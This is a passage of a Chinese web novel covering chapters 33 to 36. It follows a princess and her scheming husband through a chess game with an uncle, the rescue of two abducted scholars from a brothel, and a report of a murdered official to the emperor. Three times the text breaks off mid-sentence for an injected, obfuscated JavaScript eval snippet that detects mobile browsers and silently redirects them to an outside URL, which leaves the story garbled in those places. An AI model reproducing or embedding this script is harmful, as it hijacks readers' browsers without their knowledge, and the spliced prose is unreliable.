“谢大人谦虚了。能赢一盘也许是运气,连赢三盘可就不单单是运气好了。” 冯重暄端起茶杯撇去浮沫,又透过杯口淡淡看着这位侄女婿,试探道:“都说名师出高徒,不知道谢大人这手棋术师从何人?也不知为何,谢大人的棋风总让我有种熟悉的感觉。” 听闻当年几位皇子里,就数这位仁亲王冯重暄和冯重曜的关系最好,两人皆是才华出众之人,时常一同手谈。果然不假。 “家中的几位长辈。”谢随说。 “哦?是哪家的哪位长辈,你不妨说了名讳出来,搞不好我也认识。”冯重暄眯眼笑笑。 家中长辈? 说起来他如今是冯妙瑜的夫君,冯重曜是他的伯岳,自然也可算家中长辈。 “您当然认识的。就是您想的那位。”谢随转着杯子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686585|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 冯重暄沉默了很久,他望着苑子里打理的整齐的花圃,脸上的笑意慢慢淡了。他挥手示意侍从们退下。 “你和我一个闲散王爷说这个做什么?这些朝堂上的事情我不懂,也不想懂。我这个人没什么追求,只求安稳度日。谢大人,你可明白我的意思?” “倾巢之下,岂有完卵?”谢随摇摇头,他抬头看着冯重暄,目光清亮,“您逃避得了一时,难道还能避得了一世?棋如其人,以您的才能……您可不像坐以待毙之人。” 如今几位亲王或多或少都在朝中任职,只有仁亲王一人不愿受任何官职,成日老婆孩子热炕头游手好闲。 与其说寄情山水,不理俗世,不如说是不得不收起锋芒避嫌。 毕竟几位亲王里就他和冯重曜最为亲近,又没像献亲王一般,前日才上了折子大夸太子,后日一听冯重明发动宫变,便毫不犹豫倒去了冯重明那头。 “什么坐以待毙的,都说了我不懂这些朝廷上面的事情了。” “若您当真的什么都不懂,又何必要假冒一个小侍卫的名字,在千里之外安置产业,以留后路?” 谢随轻轻说,身体往前探了探,“当然,我今日说这些并不是威胁殿下,殿下岂是我一个小小九品芝麻官能威胁得了的?我也不是来逼迫殿下即刻就做出抉择的。我只是,想给殿下多提供一条出路。身在局中,有时候不是你我想不想选,而是能不能选。” “我会考虑的。”冯重暄最后说,“这件事情我不会告诉其他人。” “那便多谢殿下了。”谢随回道。 —— 冯妙瑜走到凉亭时,亭子里只有谢随一人静静坐着。 棋盘上黑白两色胶着着,他却没有再看棋盘,只是默默眺望着天空。夕阳即将沉入地平线下,余晖如血,他灰黑色侧影看上去像一尊饱经岁月风霜的黑石雕像,蒙在红纱之下,肃穆,苍凉中带着无法言明的悲伤。 冯妙瑜就在三步开外看着他的身影,看了很久,直到风有点冷了,她才拢了拢衣裳走上前去。 “我听翠珠说你在和皇叔下棋。皇叔人呢?” 谢随拈了枚黑子递给她,不远处陆陆续续亮了灯。 “他有事先走了。要来下一盘吗?” “不了。” 冯妙瑜摇摇头,脑袋还是晕晕乎乎的,好像整个世界在骨碌碌地转来转去。也许有点着凉了吧,她在谢随身边坐下,这才好受些。 “我想早点回去。” “怎么了,不舒服吗?”谢随皱眉摸了摸她的手,并没有很凉。 他看了眼天色,这个时候走就太早了。 于是他搂着冯妙瑜,又温声哄道:“我们在这用过晚膳再走吧,你也许是有些血虚,吃点东西也许就会好一点。” 冯妙瑜觉得他说的有几分道理,就没再坚持要回去了,靠着他的肩膀轻轻点了下头。 什么都不知道也是种幸福吧。 见看她缩在自己怀里乖巧的模样,谢随用手背轻轻抚过她的脸颊,在心里冷冷想。 33. 33 用罢晚膳,冯妙瑜二人便提前告辞了。 外面飘起了毛毛细雨。 仁亲王府在义宁坊,和长公主府正好一东一西,就算是骑马也要走上好一阵,何况外面还在修路。马蹄踩在泥泞不平的路面上,车内的灯晃悠个不停,灯影也跟着来来回回地摇摆个不停。 谢随掀帘往外看,雨越来越大了。 他算得了一切,但是人再算也算不过天。这场雨全然在他的意料之外。 他不得不考虑这场雨可能对整个计划产生的影响。 雨点啪嗒啪嗒敲打在车盖上,像是嘲讽,他心里不免烦躁。 “大概是皇叔淡泊的性子使然,他们夫妻二人的感情倒是甚好。”冯妙瑜打破沉默。 对皇家和世家来说,儿女的婚事更多是合二姓之好,两个家族的结合远远大于个人的喜好厌恶。夫妻间貌合神离是常态,能如此美满的少之又少,甚至可以说凤毛麟角。 冯妙瑜有点羡慕。 “是吗?”谢随又一次掀帘望向窗外,唇角微微勾起,似笑非笑,“也不尽然吧。每个人都远没有看上去那样单纯。” 有能者多恃才傲物。 至少冯重暄这个人绝对称不上淡泊二字。 “你好像总是习惯于把人想的太坏。”冯妙瑜把玩着垂下来的发丝。 “是你太……”谢随本想说天真,又觉天真这个词像是变相骂人愚蠢,思忖片刻改了口,“是你把人想的太好,会吃亏的。” 冯妙瑜靠在软枕上,淡淡“嗯”了一声。晚膳时她没抵挡住仁亲王夫妇的热情喝了两壶酒。巴掌大的白玉莲花小执壶,不至于喝醉,意识却有些不清楚,半梦半醒的。 “但人总不能因为会摔倒受伤就不出门吧?不出门是不会摔倒受伤,可也就看不到萤火虫了。” “萤火虫?” “小时候我很想看一看萤火虫是什么样子,可我居住的宫殿附近没有萤火虫。照顾我的老嬷嬷告诉我说夏天晚上御花园后面的林子里有萤火虫,但那个地方离我很远,晚上宫里不能随意走动,照顾我的嬷嬷年龄大了眼睛又不好,她不能陪我一起,所以我只能自己一个人趁着天黑走小道偷偷溜过去。” 她的右手手肘支在膝盖上,右手撑着脑袋,一缕乌发缠绕在她细白的手指间。 “天太黑了,一路上我摔倒了好几次,还担心被巡逻的侍卫发现不敢出声,”冯妙瑜笑笑,“好多次想放弃回去算了,萤火虫而已。看不看的到有什么要紧?但最后走到林子里又庆幸自己没有半路上返回了。” “因为太漂亮了。就像是九天之上的银河落在了林子里一样。” 说着,她的眼睛也明亮起来,眼底流过一丝惊人的瑰丽。 “人有好也有坏。因为一个或几个人的恶意而把所有人都看做是恶人,严加防备警惕,把所有人通通关在外面——这是最稳妥的做法。很安全,不会让自己受伤。但这样也会失去善意。恶意是坏的,善意是好的,为什么要因为不好的东西把好的东西关在外面?” “这个世界待你并不友善。”谢随立刻道。一针见血,像要想要揭穿什么。 “它是很残忍。”冯妙瑜叹了口气,顿了顿又道:“可也很温柔啊。” 她伸出手指一件一件算着,又有些迟钝地笑笑,“有温柔的人,春天的风,冬日的暖炉,夜里的万家灯火……有时候觉得它残忍,但想来想去,我还是喜欢盛京,还有这个世界的。” 谢随愣了一下。 他没想到冯妙瑜会这么说。他大概一直以来都把她当做一个被娇宠过了头的公主。因为被宠爱着,所以可以骄横到不在乎任何骂名随心所欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14717344|152807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。因为被高高捧着,所以天真愚蠢不知人心险恶。 朝夕相处了这么久,只要有心,其实传闻这种东西的真假其实不难判别……只是不愿去想,不愿去做罢了。 若她是愚蠢骄横的,那他所做的一切都可以用一句“像她这样的人,被人利用当做跳板使纯属活该”来摘得干干净净。 可若不是,那那个肆无忌惮践踏,利用他人信任和爱慕的卑劣之人就变成了他自己。 没有多少人愿意承认自己的卑劣,这似乎是种无意识的自我保护,用他人的卑劣来掩盖自己的卑劣。但有的人像一面铜镜,镜面不但不能掩盖他人的卑劣,反而会将对方的卑劣从里到外摊开了映在镜面上,纤毫毕现。 雨势更急了,雨珠在车盖上滚动跳跃,放肆开怀的嘲笑着他。 “这条路虽近,但未免太颠簸了些。不如我们换条路走?”谢随突然说。 因为自己受过伤,尝到过悲伤欲绝的滋味,所以还要将这种滋味加诸他人吗?如果这样做,他和那些害死谢家人的山匪之流又有什么区别? “可我们都快到崇仁坊了。”冯妙瑜望外面看了一眼,奇怪道。 她的话音刚落,马车忽然毫无征兆的一个急停。接着就是勒马时嘶鸣声和车夫的咒骂声。 “怎么回事,出什么事情了?”冯妙瑜问。 “回公主的话,有个人……一个人大晚上的穿了一身黑的站在路中间,小的一时没看到他,方才差点就碾到他了。” 车夫惊魂未定,捂着心口大口喘气。方才那马的蹄子离那人的脑袋可就差不到两拳的距离。 迟了。 谢随隐藏在衣袖里的手缓缓握起,捏成拳头,然后慢慢放下。 计划赶不上变化,一切都按照他原先计划的发展了。 分毫未差。 34. 34 待他说完,冯妙瑜默默放下茶盏,手指无意识地敲着扶手,过了许久她才开口,“这事你能肯定?会不会是你看错了?” 白尧抬头看着冯妙瑜的眼睛,点点头又摇头。 “绝对不会看错。卑职可以肯定。我的子侄和他的同窗根本没有失踪,他们人就在京兆府手里。那时候天色尚明,所以卑职看的清清楚楚——” “我那侄儿和他的同窗五花大绑着,然后被三五个京兆府的便衣衙役自小门压进了平康坊的一间酒楼内。卑职接着就去京兆府找那几人对峙,可却被他们倒打一耙,说卑职无理取闹。还说卑职一个大理寺官员无权插手他们京兆府办事,若是再闹腾下去,就算同为朝臣,他们也有权依律处置卑职。说完,他们便将卑职撵了出去。” 白尧一脸愤懑,他说着掀起衣袖,胳膊上一块青一块紫,大抵是被推搡出去的时候撞到了硬物。 “除了找京兆府,大人可有试过旁的法子?大人您毕竟是大理寺的官员。”冯妙瑜委婉道。 她其实想起了前几月莫名其妙被关京兆府大牢之事。 京兆府似乎是有些不对劲的。但那毕竟是献亲王的地盘。献亲王是她的尊长,又手握兵权,在几位亲王之中颇得帝王宠幸,是硬骨头中的硬骨头。若无必要,冯妙瑜不愿随便掺和进和他有关的事情里面去。 白尧苦笑两声,无奈道:“那间酒楼的人似乎是得了命令,很是硬气,说是不接待生人,于是卑职走才到门口就被拦下了。卑职不过是个从六品的小官,别说整个盛京,就光大理寺,像卑职这样的寺丞便有六个之多。我位卑言轻,又无家族荫蔽,大理寺寺卿大人和少卿大人皆是世家出生,这世家出身的人和我们这些寒门出身的官员之间的嫌隙公主您也是知道的。一听卑职手头拿不出来任何证据,他们便不愿理会了。” 冯妙瑜揉揉眉心。 世家自持清贵看不起寒门士子,寒门觉得世家只顾享乐目光短浅,两派这些年来明争暗斗不断。毕竟瘦死的骆驼比马大,如今朝中高位要位还是由世家大族所把持,寒门也只是占个人数上的优势,人多,但没多少话语权。 “卑职实在是走投无路,只能来求公主了,”白尧说,“卑职答应了家中兄长会照顾好我那侄子,如今这……京兆府行事遮遮掩掩,不做亏心事,不怕鬼敲门,京兆府和那酒楼,这其中必有问题!” 冯妙瑜心里有许多要考量的,便靠在椅背上静静想了一会。 白尧是她一力推举到大理寺寺丞上的,为人性情她算是了解,此人绝非信口雌黄之人。何况冯敬武的事情上若不是有他冒着掉脑袋的风险帮忙,没有大理寺中人内部接应,仅凭她一人哪能成事。 白尧心急如焚地看着她。 如果她拒绝的话,他会很失望的吧。毕竟当初她要他帮忙时,他可是二话不说就答应了下来了。 冯妙瑜闭了闭眼睛,最后轻轻点了下头。 “那间酒楼叫什么名字,再详细描述一下你那子侄和同窗的相貌,姓名。白大人且先在我府里等候消息。人若在里面,我可以帮你把人带出来。我能做的也只有这个。” 兵贵神速。 找人自然是越快越好,盛京这么大,若是白尧的子侄和同窗二人被转移到他处,那要找起来可就麻烦了。 等安顿好白尧,冯妙瑜走出花厅。此时才刚到戌时,漆黑的天空泛着淡淡的红,阿玉砰的一声在她身后撑开了油纸伞。 “去拿件侍卫的衣裳给我,然后从侍卫里挑几个机灵的假办成小厮跟着我,然后再把苍公子叫过来。”冯妙瑜一面走,一面匆匆吩咐道。 她其实对大概的事情已有了初步的想法。毕竟献亲王好男色的传闻也不是一天两天了。几个女子半夜跑到平康坊里找人未免太显眼,那些做生意店家最怕这个,可能还没有进门就会被拦下。 往外走了几步,冯妙瑜无意回头才突然发觉谢随就站在不远处。 苍白的指骨,伞柄是枯黄的竹枝,淡青色的伞面在满天大雨里像一支荷叶在水面上飘摇。压低的伞檐和不断落下的水珠遮住了他的脸。冯妙瑜眯了下眼。她看不清楚谢随的表情,只能听见他的声音。 “公主这个时候要出去?虽说都是开门做生意的,但平康坊里有些地方手脚不干净。公主还是多带几个人去比较好。”谢随说。 “我们方才说话,你都听到了?”冯妙瑜皱眉。 “没有,只是去书房路过听到了两句。”谢随平静道。 这是他一手设计的圈套。冯妙瑜和白尧二人关起门说了什么,就算不偷听他也能猜出个大概来。 冯妙瑜抿了抿嘴,她没想把谢随拉进这件事里,所以和白尧说话时她特地叫他离开了。没想到他还是知道了。既然他已经知道了那也没办法了。 “你接下来有事吗?若没什么事的话可否去花厅陪白大人喝杯茶坐一坐,他这个时候不适合一个人呆着。我很快就会回来。”冯妙瑜想了想说。 “好。记得多带几个人。然后早点回来。”谢随轻轻说。 他的脸仍然藏在伞与夜色之下。 —— 平康坊,芙芸斋。 粉墙青瓦,半旧木门,门口两只绸灯笼高挂。 全盛京数一数二的烟花风流之地。这里在白日看着不过是个普通的院子,是那种马车走过去都没有人会多瞧一眼的地方。但一到夜里点起灯,这里就像只从冬眠中睁开眼睛苏醒过来的猛兽。 各色灯笼垂着软红的穗子,在歌声笑声不断的风里晃荡着,大大小小的马车停在门口,先是小厮,他们搬来脚凳撩起车帘,然后才是身着着绫罗绸缎的贵人们。几个头发梳理的油光水滑的管事早在一旁等候多时,一个个笑容满面的迎上去,躬身引导贵人们迈入由绸缎,胭脂,轻纱构成的猛兽纸醉金迷的大口。 戌时未半,大雨。一辆由两匹黑马拉着通体漆黑的马车悄无声息地停在芙芸斋门口。 车身上没有任何雕饰或者能表达马车主人身份之物,乍一看像是坊市间几十文钱就能租一整日的马车……后面传来几声低低的嘲讽,毕竟来这种地方除了喝茶听曲,炫耀家世和财力,一掷千金争一个面子也是重要的一环。 但芙芸斋的大管事黄六却理了理衣襟,一把从小厮手中抽过伞恭敬迎了上去。 他在芙芸斋待了二十年,眼光老道,一眼便认出那马车是由紫油梨打造的——黄花梨木已是寸木寸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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黄管事双手接过令牌,他认得的字其实不多,只能勉强认出上面“御赐”两个字。这位公子的来头果然不小! 冯妙瑜看着黄管事的表情。 她扔给他的其实是一块进出宫门时用的腰牌,皇室宗亲都有这玩意,而且这上面并不写明持有者的姓名。 她找人探查到了献亲王今日宿在府中,并未出门后便想出了这个法子。虽然有几分冒险,但人既然是献亲王的人送来的,那就没有比这个办法更快找到白尧的侄子了。 “我家主子是谁介绍来的,我想管事心里该有数了。我家主子一向低调,这事情管事自己心里明白就是。”冯妙瑜低声引导他误解,而后又提高了声音,“愣着做什么,还不快请我家主子上座?” 今日被拉来扮演贵公子的苍宴嘴唇微动,显然很想说点什么……这人也只有脸能看,一开口可就露馅了!于是冯妙瑜眼疾脚快又是一脚。 苍宴矜贵又俊朗的面容微微扭曲。 其实是脚疼。 可这场面落在黄管事眼中,就变成贵客感觉自己被怠慢了的不满。于是他的腰弯得更低了。 “是我怠慢了,大人里面请。” 35. 35 “您既是那位大人介绍来的贵客,小人便带您去那位大人常用的雅座。楼里通往雅座的路都是专用的,从头到尾,保管您不会碰上旁的闲杂人等。” 黄管事一面介绍着说,一面领着冯妙瑜和苍宴等人穿过光线昏暗的过道。 空气里漂浮着脂粉和浓重的熏香微尘,狭窄空间内,那气味挤得人头晕目眩。直走,左转,上楼梯,右转,再右转,再上楼梯,冯妙瑜感觉他们似乎绕了好几个“回”字形,黄管事终于停下脚步。 他扭头躬身笑着推开雅座的门。 光芒隔着软红的纱幕刺入眼帘,冯妙瑜下意识眯起眼。 雅座出人意料的宽敞。像是两间屋子贯通了的,中间以一道十二折的覆金漆雕屏风隔断出内外间。内间里暗蒙蒙的瞧不大清楚,外间正对着门两道隔扇窗大开,底下就是楼下的舞台。全身裹在轻纱中的男女舞伎轻歌曼舞,拧腰旋转间,衣袂也跟着绽开,金粉在他们裸露肌肤上流淌瞬间划出一片诱人的金色闪光。 绮靡绚丽宛如绘着神祇壁画。 只是哪里有神祇会露出讨好的谄笑,又哪里会有神祇是被人用迷离渴求的眼神来回扫视估价的。 黄管事将两人神情收入眼底,试探道:“大人可有看着顺眼的?若大人不嫌弃,小人这就叫他上来陪大人打发时间。” 苍宴难得没说话。 因为冯妙瑜临行前只说是来找人,顺路带他来平康坊玩玩,活动一下手脚——一切花销由她全包。冯妙瑜根本没说他们要来什么地方。就算苍宴再迟钝,眼下也察觉到了几分不对劲。 那个带路的老头脸上笑容越来越奇怪,这里好像不是什么正经地方啊。 “管事可少拿这等庸脂俗粉来敷衍我家主子,”冯妙瑜随即低声道:“前几日不是新送来了两个吗?叫他们两人过来。” 黄管事迟疑一下,道:“可是那两人才送进来不久,性子野,还没来得及调理,牙尖嘴利的,小人怕冲撞到贵人……” 冯妙瑜笑笑,有些恨铁不成钢的“啧”了一声,拍拍他的肩。 “性子野好啊,就是要野一点的。我家主子就好这口,太乖了可就没有意思了。你懂吧。” 黄主管闻言肃然起敬。当真是人不可貌相。这位白袍公子生的如此貌美,谪仙一般,没想到口味竟是如此的……狂野。 “那小的这就带人过来。这后头热水、器具一应俱全,外头随时有人待命。有什么需要您喊一声就是。” 黄管事躬身告退,离开前还十分贴心的轻轻带上了门。 “你,你,你之前说我们是来找人的。” 苍宴进内间只转了半圈便满脸通红,一脸狼狈地跑回外间,他望着靠在椅背上翻看什么的冯妙瑜,猛地一拍巴掌,恍然大悟。 “你这女人要害我!你自己找男人还故意骗我叫我也过来,好败坏我的名声,然后你再给素烟告状是不是?”苍宴抓着衣领眼里满是惊恐,嚷嚷道:“我就知道你突然对我这么好肯定没安好心!你肯定是嫉妒我貌美!恶毒!” “真是来找人的。我方才向那管事要的两个人很可能就是我要找的人。” 冯妙瑜翻了个白眼,她有时候真想敲开苍宴的脑子看看里面装的都是什么,到底怎么才能想到嫉妒害他上面去。她叹口气,还是简要向苍宴解释了下情况。 “也就是说,你叫上我是为了让小爷给你当打手以防万一的?”苍宴顿了顿,又问:“要是那两个人不是你要找的人怎么办?” “那我们就在这里坐上一个时辰再回去。”冯妙瑜说。 她带来的那几个假扮成小厮的侍卫会趁着这段时间细细搜索整座芙芸斋。芙芸斋不算很大,一个时辰足矣。 “你府里那么多侍卫,叫他们把这地位围起来搜不就完了,何必要这样偷偷摸摸的?”苍宴一屁股坐在冯妙瑜旁边的圈椅上,拈了串葡萄吃。 “本朝严禁朝中官员经商,但只入个份子不参与经营并没有明文规定禁止。” “所以有官员钻空子?”苍宴哼哼两声。 “平康坊里的大小酒楼多多少少都有朝中官员在后面撑着,我手上没有足够的证据能证明人确实在这里。这里背后的人不一般,大张旗鼓的搜查,若是找到人倒也就无所谓了。若是找不到人,搞不好还会被倒打一耙。”冯妙瑜晃了晃手里的纸页。 那是临走前白尧交给她的,他从户部调出来的他侄子二人的户籍册子,上面记载着两人的籍贯姓名,还有两人的手印。只要能找到人,到时候一对比就能证实两人的良民身份。别的不说,至少给这芙芸斋治个买卖良民,逼良为娼的罪名是没问题的。 等了许久,外面才传来轻柔地敲门声。很快,两个反剪双臂捆着的人被几个人抬进了屋。 冯妙瑜叫苍宴拿了灯,两人的状态都不是很好,张嘴咿咿呀呀却说不出来一句完整的话,想来是黄管事为了避免他二人冲撞贵客灌了什么东西,好在两人的意识似乎是清楚的。 “白去华,赵岳?”冯妙瑜问二人,“没错的话就点头。” 两人闻言动了动,十分艰难地点了下头。 冯妙瑜一时间也分不清楚哪个是白尧的侄子白去华,哪个是他侄子的同窗赵岳,他们穿着这里的衣裳也不好出去见人,于是她匆匆对两人说:“你们哪个是白去华?我受你伯父,大理寺白尧白大人之托带你们出去的,你们先换身衣裳,然后我带你们两人出去。” 两人都是清秀斯文的少年模样,其中那个个子矮半头的眼泪止不住的往下淌,白去华张嘴道:“我,我是。你可一定要救我们出去啊。” 另一边的赵岳闻言,却突然伸手够了一下冯妙瑜的衣摆。带着几分茫然的眼里还有深深的恐惧。他看着冯妙瑜的眼睛,口中含混说道:“小心。同乡的,命官,杀了。” 冯妙瑜愣了一下。 什么叫同乡的命官杀了?但是眼下显然不是详细询问的时候,还是先把两人带回长公主府再说。 两人手脚被捆久了发麻,行动不便,她便让苍宴留在内间帮他们,自己则绕到了屏风后面等着。 屏风后传来窸窸窣窣的动响,门外却突然传来一连串脚步声,随后是急促地砸门声。 冯妙瑜没有作出应答。 门外,黄管事和芙芸斋的护院头子对视一眼,黄管事下了决心,咬牙道:“砸开。” 他前脚刚刚把人送了上去,后脚就察觉到了不对劲。这两人是献亲王手下的人亲自交代的,说是身份有些麻烦先在芙芸斋放一阵避避风头,过个把月人调理好了他们再接回去……前几日还有个大理寺的小官员跑上来要人,给他赶走了,怎么可巧今日就有人借献亲王介绍过来的名义点这两人? 恐怕有诈。 于是他转头就叫了斋内的护院过来砸门。弄错了不要紧,如果真如他所料 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“正是。”那护院满脸傲气,想来他这柄佩剑在江湖上颇有来头。 “你认识?”冯妙瑜问苍宴。 “人没见过,那把剑算认识吧。”苍宴说。以他的仇家之广之多,冯妙瑜想了下,觉得这里的认识最好理解为有仇。 “别听名字叫什么破云,吹的。其实那玩意连片我衣角一块布都划不破,我之前就建议过他,大概是你家长辈,和你有点像,长得丑兮兮那个,”苍宴指了指那护院,“叫什么破云剑,叫破烂剑最合适……” 那护院气得脸色涨红,不等苍宴说完便抽剑直直前劈。 “被我说中了?” 苍宴笑着嘲讽,他用帕子裹着拿起了一旁放着的折扇,折扇上男男女女纠缠的雕刻让他嫌弃的呸了两声,剑锋顺着折扇扇骨划过,苍宴于是笑的更灿烂了。 “我说了吧,破烂剑破烂剑破烂剑。” 苍宴一面用十分恶毒的语言“友善”问候对方,一面扭身抬肘,持剑护院颈部受到重击,直挺挺砸在地上。 其他几个护院见势不妙,纷纷拿起武器冲上去支援。 离苍宴最近的是一个持刀护院,扇柄点在刀背力量最薄弱之处,下一秒刀的主人被一拳打晕,仰头后倒向同伴的怀里,他的同伴连忙收起武器,却被苍宴抓到了破绽,他猛地借持刀护卫的肩跃起,膝盖正好击中对方下颌,有人偷偷绕到苍宴身后,他落地的同时反手用扇尾猛刺那人的喉咙……护院们就像是环绕着花蕊的花瓣一样一个个倒在白色花蕊,啊不,苍宴脚边。 他怕了拍一尘不染的宽大衣袖,看向唯二还站着的人,黄管事和那个护院头子。 护院头子把手放在刀柄上,又缓缓放下,最后抱拳行了个礼,“方便请教阁下尊名?” 这样的身手想来绝非无名之辈。 “你爷……”苍宴抬头,犹如一只准备开屏公孔雀。 冯妙瑜眼疾脚快一脚踩上去。 他的名字是能随便说出口的吗?这盛京内外还有那么多他的仇家可就等着他露头呢。 “他没名字,叫狗蛋就行。” 冯妙瑜随口敷衍道,后边半句是说给黄管事背后的皇叔听的,“黄管事,我们来这也只是想带人回去,没有别的意思。现在可以把路让开了吧?” 36. 36 长公主府,花厅偏房。 黑色云子轻轻落于棋盘之上,茶凉了,谢随侧头望着窗外黑沉沉的雨幕,白尧一连叫他好几声,他才回过神。 “谢大人,该你了。”白尧说。 “抱歉。” 白子很快落下,白尧看了却笑了。他摇摇头,然后把手里的黑子放回了棋盒。 “时辰也不早了,谢大人心思并不在棋盘之上,我就算是赢了也是胜之不武,不如今晚就下到这里吧。” 谢随这才发现自己方才那一手棋竟直直落在白尧的包围圈之中。他竟走神犯了这样简单的错误,谢随喝了一大口冷茶定了定神,他正准备开口,这个时候榴红匆匆进来了。 “公主回府了。” 白尧闻言猛地起身,他坐了太长时间,一下子没站稳,身体晃动了两下,撞到了桌子边上。 谢随紧紧捏着手里的白棋,这是意料之中的事情,冯妙瑜不会连这个都解决不了的。他抿抿嘴什么都没有说,连头都没有回一下。 “公主特地吩咐奴婢来知会白大人一声,人已经找到带回来了。这会公主有些事情要单独问两人,人就先带到后院了。公主问事情可能要问一阵子,这会不早了,您看您是等公主那边问完了就过去,还是歇一晚明早再过去见人?” “人找到了?” 一颗悬着的心总算落地,白尧长出一口气跌回椅子上。 “人找到就好。白大人这会可以放心了。”谢随温声宽慰他,又提议道:“都这个时候了,他们二人平白无故经受了这些,估计累坏了。我看不如都好好休息一晚等到早上再相见,反正人已在公主府中了。” 白尧仔细想了下,觉得谢随说的有道理,大喜大悲情绪起落是最伤身的,倒不如缓一缓到明日再相见。 定昏时分,雨势总算渐渐小了些。 冯妙瑜命人去取纸笔,她手里拿着一块巴掌大的木牌,木牌上依稀可见太仆寺,宋钊几个字。 冯妙瑜沉吟片刻,又问:“赵公子,你肯定你方才和我说的话里面没有半句虚言?” 从平康坊回长公主府的一路上白去华两人喝了些水,意识清醒不少。冯妙瑜在意赵岳方才在芙芸斋里说的话,路上不方便,她就简单问了两句。等回到长公主府,冯妙瑜带着两人直奔苍宴所住的问梅阁,这里一则清净安全,二则问梅阁的东西厢房都空着,方便将两人分开了细问。 西厢房由阿玉问白去华,东厢房则是冯妙瑜亲自问赵岳。 赵岳闻言点点头,点着点着眼泪又止不住下来,他抬臂胡乱拿了衣袖去擦。 “那木牌的主人,宋老爷是我和白公子的同乡。差不多一年前,他登第留京任官——像我们家乡那样的小地方十年二十年都没几个出人头地的,这件事很轰动,人人都认得他的……所以我决计没有认错人。京兆府那些人杀鸡儆猴,当着我和白公子的面不断折辱他打他,人都没进气了还不停手,临终前他偷偷把这个木牌塞给我。他什么都没说,我猜他是希望我们能逃出去,逃出去后能给他家里人一个交代,帮他讨一个公道……” 宋钊这件事情冯妙瑜也有些印象的。除了这位已经入仕的宋大人外,那段时间还有好几个进京赶考的寒门士子突然下落不明。 光天化日之下,几个大活人毫无征兆的人间蒸发,这事当时闹得沸沸扬扬,一时间说什么的都有,人心惶惶。 不过这几人毕竟都是外乡人,在京兆府几次大范围搜查无果后,这件事也就被人遗忘在了脑后。 诚若赵岳所言不假,这件事上京兆府贼喊捉贼,当然不可能找到人。 侍女捧着纸笔和印泥过来了,冯妙瑜示意她将东西放在赵岳面前。 虽然说都是世家,但世家间对下的态度却有天壤之别。有宽仁和善的,也有不把人当人看的。对后者而言,奴婢部曲的寒门的区别,不过是前者有罪报了官府既可打死,后者过失致伤了死了要赎铜折罪,出不出钱罢了。 但堂堂一位亲王为了一己私欲谋杀一位寒门官员。事关天家尊严,亲缘上冯妙瑜是他的小辈,没有资历管这事。可这件事若不小心传出去了又难免激化寒门和世家矛盾,动摇朝纲。 无论如何,这事冯妙瑜不敢做主,想想也只能尽快告诉父皇由他定夺。 “既然赵公子所言非虚,那就请公子写一份陈情书,你将方才对我说的那些一一写在上面,最后签字画押。” 冯妙瑜顿了一下,又提醒道:“这份陈情书会直接交由圣上亲阅,所以下笔务必慎重,一个虚的字都不能有。否则,到时第一个掉脑袋的会是你自己,甚至有可能牵连到你的家里人。” 一位亲王可不是随随便便就能弹劾的。 “草民省得。”赵岳挽袖提笔。 冯妙瑜起身出了厢房,阿玉那边也结束了,白去华的那份陈情书递到冯妙瑜的手里,和赵岳所言大差不差,只不过写的更加隐晦些。 “让两位公子这段时间就先在问梅阁中住下,你叫人守在院门口,凡是送进去的东西,不论是吃的,用的,都必须检查无误才能送进去。他们若要见什么人,送信出去也必须先汇报与我再说。” 冯妙瑜捏着两张薄纸,交待完阿玉她便回屋更衣。 火烛跳动着,谢随也还没睡。他正靠在窗边翻书看,见冯妙瑜匆匆进来换衣裳,他抬起头不经意似的问:“这么晚了公主还要出门?” “你先睡吧。我有急事需要入宫一趟。” 冯妙瑜强打精神答道,眼角余光瞥见谢随伸手准备拿起那份陈情书,连忙说:“你别看。这件事情有些麻烦,你不要看的好。” “好。” 谢随见她强忍着倦意整理衣带,心里说不出来是什么滋味,他默了一会,垂眸道:“明天早上再去不行吗?夜半突然入宫觐见,明天一早恐怕会招来非议。” 这时有人匆匆进来回禀马车已备好,阿玉和榴红服侍着冯妙瑜系好了襦裙,冯妙瑜走过来拿起了那份陈情书。 “我知道。但这件事上我总有种不好的预感。反正我最近晚上睡也睡不好,”冯妙瑜说着 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“那,奴婢这就出门。” 榴红有些不情愿,但整个长公主府里除了公主就属谢随地位最高。谢随坚持,她一介下人,就算不愿意她也只能应下照办。 马车抵达皇城已近子时,整座太极宫一片寂然。冯妙瑜喝了两杯茶冯重明才姗姗来迟,脸色非常难看。 “大半夜的,你找朕何事?”冯重明不耐烦道。 纵使知道冯妙瑜半夜匆忙入宫肯定是有要紧事,但就算是天大的事情,巫山云雨到一半被叫起来,不得不离开宠妃温暖的床榻间也实在是一件令人不愉快的事情。 冯妙瑜在来的路上就已经想好了要怎么说。 她先如实说了她和阿玉之前碰到献亲王府中之人当街耍横,两人被关进京兆府大牢之事,然后又将今晚的所见所闻一一和盘托出,陈情书和木牌由刘公公捧到了冯重明手边。 